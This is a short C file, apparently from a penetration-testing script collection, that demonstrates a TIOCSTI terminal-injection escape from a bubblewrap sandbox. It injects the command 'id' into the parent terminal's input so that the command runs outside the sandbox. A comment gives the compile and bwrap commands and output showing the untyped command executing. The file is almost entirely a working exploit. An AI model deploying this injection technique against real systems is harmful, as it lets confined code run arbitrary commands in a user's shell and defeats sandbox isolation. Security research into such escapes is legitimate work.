pentest-scripts/ioctl/ioctl.c

22 lines
474 B
C

#include <unistd.h>
#include <sys/ioctl.h>
#include <termios.h>
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
execlp("/bin/id", "id", NULL);
}
/*
##$ gcc test.c -o /tmp/test
##$ bwrap --ro-bind /lib64 /lib64 --ro-bind /home /home --ro-bind /bin /bin
##--ro-bind /tmp /tmp --chdir / --unshare-pid --uid 0 /tmp/test
##id
##uid=0 gid=1000 groups=1000
##$ id <------ did not type this
##uid=1000(saken) gid=1000(saken) groups=1000(saken)
*/